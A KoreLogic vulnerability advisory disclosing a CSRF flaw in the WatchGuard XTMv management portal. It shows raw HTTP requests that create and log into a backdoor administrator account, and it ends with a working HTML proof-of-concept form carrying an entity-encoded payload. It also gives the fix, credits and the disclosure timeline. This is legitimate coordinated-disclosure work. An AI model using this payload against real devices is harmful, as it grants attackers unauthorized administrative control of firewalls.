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KL-001-2017-004 : WatchGuard XTMv User Management Cross-Site Request Forgery

Title: WatchGuard XTMv User Management Cross-Site Request Forgery
Advisory ID: KL-001-2017-004
Publication Date: 2017.03.10
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-004.txt


1. Vulnerability Details

     Affected Vendor: WatchGuard
     Affected Product: XTMv
     Affected Version: v11.12 Build 516911
     Platform: Embedded Linux
     CWE Classification: CWE-352: Cross-Site Request Forgery (CSRF)
     Impact: Privileged Access
     Attack vector: HTTP

2. Vulnerability Description

     Lack of CSRF protection in the Add User functionality of the
     XTMv management portal can be leveraged to create arbitrary
     administrator-level accounts.

3. Technical Description

     As observed below, no CSRF token is in use when adding a new
     user to the management portal.

     POST /put_data/ HTTP/1.1
     Host: 1.3.3.7:8080
     Accept: */*
     Accept-Language: en-US,en;q=0.5
     Accept-Encoding: gzip, deflate, br
     Content-Type: application/json
     X-Requested-With: XMLHttpRequest
     Content-Length: 365
     Cookie: session_id=50f607247265897581a407bfb8b75e30d2b77287
     DNT: 1
     Connection: close

     {"__class__":"PageSystemManageAdminUsersObj","__module__":"modules.scripts.page.system.PageSystemManageAdminUsersObj","users":[],"add_entries":[{"__class__":"AdminUserObj","__module__":"modules.scripts.vo.AdminUserObj","name":"hacked","domain":"Firebox-DB","role":"Device Administrator","hash":"hacked","enabled":1,"rowindex":-1}],"upd_entries":[],"del_entries":[]}

     The HTTP response indicates that the changes were successful.

     HTTP/1.1 200 OK
     X-Frame-Options: SAMEORIGIN
     Content-Length: 68
     Expires: Sun, 28 Jan 2007 00:00:00 GMT
     Vary: Accept-Encoding
     Server: CherryPy/3.6.0
     Pragma: no-cache
     Cache-Control: no-cache, must-revalidate
     Date: Sat, 10 Dec 2016 18:08:22 GMT
     Content-Type: application/json
     Set-Cookie: session_id=50f607247265897581a407bfb8b75e30d2b77287; expires=Sat, 10 Dec 2016 19:08:22 GMT; httponly; Path=/; secure
     Connection: close

     {"status": true, "message": ["The changes were saved successfully"]}

     Now, the newly created backdoor account can be accessed.

     POST /agent/login HTTP/1.1
     Host: 1.3.3.7:8080
     Accept: application/xml, text/xml, */*; q=0.01
     Accept-Language: en-US,en;q=0.5
     Accept-Encoding: gzip, deflate, br
     Content-Type: text/xml
     X-Requested-With: XMLHttpRequest
     Content-Length: 414
     Cookie: sessionid=515F007C5BD062C2122008544DB127F80000000C; session_id=0a3d24668f5c3b2c7ba7016d179f5f574e1aaf53
     DNT: 1
     Connection: close

     <methodCall><methodName>login</methodName><params><param><value><struct><member><name>password</name><value><string>hacked</string></value></member><member><name>user</name><value><string>hacked</string></value></member><member><name>domain</name><value><string>Firebox-DB</string></value></member><member><name>uitype</name><value><string>2</string></value></member></struct></value></param></params></methodCall>

     The response below shows the application issuing an authenticated
     session cookie.

     HTTP/1.1 200 OK
     X-Frame-Options: SAMEORIGIN
     Content-type: text/xml
     Set-Cookie: sessionid=74B0DC5119495CFF2AE8944A625558EC00000008;secure;HttpOnly
     Connection: close
     Date: Sat, 10 Dec 2016 19:55:26 GMT
     Server: none
     Content-Length: 751

     <?xml version="1.0"?>
     <methodResponse>
       <params>
         <param>
           <value>
             <struct>
               <member><name>sid</name><value>74B0DC5119495CFF2AE8944A625558EC00000008</value></member>
               <member><name>response</name><value></value></member>
               <member>
                 <name>readwrite</name>
                 <value><struct>
                   <member><name>privilege</name><value>2</value></member>
                   <member><name>peer_sid</name><value>0</value></member>
                   <member><name>peer_name</name><value>error</value></member>
                   <member><name>peer_ip</name><value>0.0.0.0</value></member>
                 </struct></value>
               </member>
             </struct>
           </value>
         </param>
       </params>
     </methodResponse>

4. Mitigation and Remediation Recommendation

     The vendor has remediated this vulnerability in WatchGuard
     XTMv v11.12.1. Release notes and upgrade instructions are
     available at:

     https://www.watchguard.com/support/release-notes/fireware/11/en-US/EN_ReleaseNotes_Fireware_11_12_1/index.html

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc. and Joshua Hardin.

6. Disclosure Timeline

     2017.01.13 - KoreLogic sends vulnerability report and PoC to
                  WatchGuard.
     2017.01.13 - WatchGuard acknowledges receipt of report.
     2017.01.23 - WatchGuard informs KoreLogic that the
                  vulnerability will be addressed in the forthcoming
                  v11.12.1 firmware, scheduled for general
                  availability on or around 2017.02.21.
     2017.02.22 - WatchGuard releases v11.12.1.
     2017.03.10 - KoreLogic public disclosure.

7. Proof of Concept

     <html>
       <body>
         <form action="https://1.3.3.7:8080/put_data/" method="POST" enctype="text/plain">
           <input type="hidden" name="&#x7b;&#x22;&#x5f;&#x5f;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x5f;&#x5f;&#x22;&#x3a;&#x22;&#x50;&#x61;&#x67;&#x65;&#x53;&#x79;&#x73;&#x74;&#x65;&#x6d;&#x4d;&#x61;&#x6e;&#x61;&#x67;&#x65;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x55;&#x73;&#x65;&#x72;&#x73;&#x4f;&#x62;&#x6a;&#x22;&#x2c;&#x22;&#x5f;&#x5f;&#x6d;&#x6f;&#x64;&#x75;&#x6c;&#x65;&#x5f;&#x5f;&#x22;&#x3a;&#x22;&#x6d;&#x6f;&#x64;&#x75;&#x6c;&#x65;&#x73;&#x2e;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x73;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x2e;&#x73;&#x79;&#x73;&#x74;&#x65;&#x6d;&#x2e;&#x50;&#x61;&#x67;&#x65;&#x53;&#x79;&#x73;&#x74;&#x65;&#x6d;&#x4d;&#x61;&#x6e;&#x61;&#x67;&#x65;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x55;&#x73;&#x65;&#x72;&#x73;&#x4f;&#x62;&#x6a;&#x22;&#x2c;&#x22;&#x75;&#x73;&#x65;&#x72;&#x73;&#x22;&#x3a;&#x5b;&#x5d;&#x2c;&#x22;&#x61;&#x64;&#x64;&#x5f;&#x65;&#x6e;&#x74;&#x72;&#x69;&#x65;&#x73;&#x22;&#x3a;&#x5b;&#x7b;&#x22;&#x5f;&#x5f;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x5f;&#x5f;&#x22;&#x3a;&#x22;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x55;&#x73;&#x65;&#x72;&#x4f;&#x62;&#x6a;&#x22;&#x2c;&#x22;&#x5f;&#x5f;&#x6d;&#x6f;&#x64;&#x75;&#x6c;&#x65;&#x5f;&#x5f;&#x22;&#x3a;&#x22;&#x6d;&#x6f;&#x64;&#x75;&#x6c;&#x65;&#x73;&#x2e;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x73;&#x2e;&#x76;&#x6f;&#x2e;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x55;&#x73;&#x65;&#x72;&#x4f;&#x62;&#x6a;&#x22;&#x2c;&#x22;&#x6e;&#x61;&#x6d;&#x65;&#x22;&#x3a;&#x22;&#x68;&#x61;&#x63;&#x6b;&#x65;&#x64;&#x33;&#x22;&#x2c;&#x22;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x22;&#x3a;&#x22;&#x46;&#x69;&#x72;&#x65;&#x62;&#x6f;&#x78;&#x2d;&#x44;&#x42;&#x22;&#x2c;&#x22;&#x72;&#x6f;&#x6c;&#x65;&#x22;&#x3a;&#x22;&#x44;&#x65;&#x76;&#x69;&#x63;&#x65;&#x20;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x69;&#x73;&#x74;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x22;&#x2c;&#x22;&#x68;&#x61;&#x73;&#x68;&#x22;&#x3a;&#x22;&#x68;&#x61;&#x63;&#x6b;&#x65;&#x64;&#x33;&#x22;&#x2c;&#x22;&#x65;&#x6e;&#x61;&#x62;&#x6c;&#x65;&#x64;&#x22;&#x3a;&#x31;&#x2c;&#x22;&#x72;&#x6f;&#x77;&#x69;&#x6e;&#x64;&#x65;&#x78;&#x22;&#x3a;&#x2d;&#x31;&#x7d;&#x5d;&#x2c;&#x22;&#x75;&#x70;&#x64;&#x5f;&#x65;&#x6e;&#x74;&#x72;&#x69;&#x65;&#x73;&#x22;&#x3a;&#x5b;&#x5d;&#x2c;&#x22;&#x64;&#x65;&#x6c;&#x5f;&#x65;&#x6e;&#x74;&#x72;&#x69;&#x65;&#x73;&#x22;&#x3a;&#x5b;&#x5d;&#x7d;" value="" />
           <input type="submit" value="Trigger" />
         </form>
       </body>
     </html>


The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

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Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
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